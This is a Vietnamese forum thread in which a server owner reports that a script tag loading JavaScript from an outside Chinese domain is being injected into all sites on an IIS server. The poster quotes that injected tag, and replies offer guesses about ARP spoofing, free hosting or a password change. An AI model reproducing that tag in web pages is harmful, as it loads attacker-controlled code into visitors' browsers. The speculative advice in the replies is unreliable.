10/10/2018, 09:19

Vì sao bị chèn js ở header website ?

Chào các bạn.

Hiện tại mình bị mắc 1 lỗi là có 1 đoạn javascript họ tự động chèn được vào đầu website mình mà mình không biết các nào gỡ đi. Lưu ý là không từ source mình nghi là do IIS, họ đã remote được file đến.

http://www.microsoft.com/technet/sec.../MS08-006.mspx

Đã update rồi nhưng không được, tất cả mọi website đặt trên đó đều dính hết.

Mong các bạn chỉ giáo

Nếu bạn nào biết
thuanfan viết 11:33 ngày 10/10/2018
Bạn bị nhiễm Virus giả gateway xuất xứ từ Trung Quốc rùi, trong mạng LAN từ một máy bị nhiễm nó phát tán ARP cho tất cả các máy cùng LAN, làm cho các máy hiểu nhầm gateway. Mọi thông tin up/down sẽ bị điều hướng qua máy bị nhiễm virus. Từ đó làm chậm mạng LAN, phát tán virus khắp LAN.
Tách máy ngi ngờ khỏi LAN, làm sạch sẽ virus rùi mới kết nối lại LAN.
hihi
codingvn viết 11:25 ngày 10/10/2018
Chào bạn,

Nhưng máy mình hiện chỉ dùng 1 mình và cái đó thì symantec nó scan được nhưng mình view source nó lại có dòng

<script language=javascript src=http://www.ntlj.com.cn/html/s2.js></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

Thế mới bực mình, nó include 1 file js của bọn nó vào, ko biêt có phải do IIS không vì tất cả site trên sever đó dính hết nơi khác thì bình thường, theo mình ko phải do Lan
herofit viết 11:26 ngày 10/10/2018
Được gửi bởi codingvn
Chào bạn,

Nhưng máy mình hiện chỉ dùng 1 mình và cái đó thì symantec nó scan được nhưng mình view source nó lại có dòng

<script language=javascript src=http://www.ntlj.com.cn/html/s2.js></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

Thế mới bực mình, nó include 1 file js của bọn nó vào, ko biêt có phải do IIS không vì tất cả site trên sever đó dính hết nơi khác thì bình thường, theo mình ko phải do Lan
bạn dùng host free àh, nếu host free thì không có gì cần thắc mắc cả
codingvn viết 11:24 ngày 10/10/2018
Trời ạ, free thì nói làm gì. Sever riêng chạy 3 site cá nhân thôi ... hix ko ai biết cách fix à. (
anhbeu viết 11:21 ngày 10/10/2018
cái này em cũng bị . cố gắng update rồi mà ko đc
herofit viết 11:35 ngày 10/10/2018
Được gửi bởi anhbeu
cái này em cũng bị . cố gắng update rồi mà ko đc
bị sao được nhỉ các bạn có dùng free domain hay free host không. kiểm tra code có include dữ liệu vào không. site bạn là gì đưa link để mọi ngừoi test
hostindexvn.com viết 11:23 ngày 10/10/2018
xóa đi change pass là xong
hackson viết 11:23 ngày 10/10/2018
@codingvn: Đi quét virus, update Windows xong vô nói tiếp.
Long_Phung viết 11:24 ngày 10/10/2018
Được gửi bởi thuanfan
Bạn bị nhiễm Virus giả gateway xuất xứ từ Trung Quốc rùi, trong mạng LAN từ một máy bị nhiễm nó phát tán ARP cho tất cả các máy cùng LAN, làm cho các máy hiểu nhầm gateway. Mọi thông tin up/down sẽ bị điều hướng qua máy bị nhiễm virus. Từ đó làm chậm mạng LAN, phát tán virus khắp LAN.
Tách máy ngi ngờ khỏi LAN, làm sạch sẽ virus rùi mới kết nối lại LAN.
hihi
Ý kiến này đúng 100%. Bạn sài Skybot Search and Destroy là diệt được.
Bài liên quan
0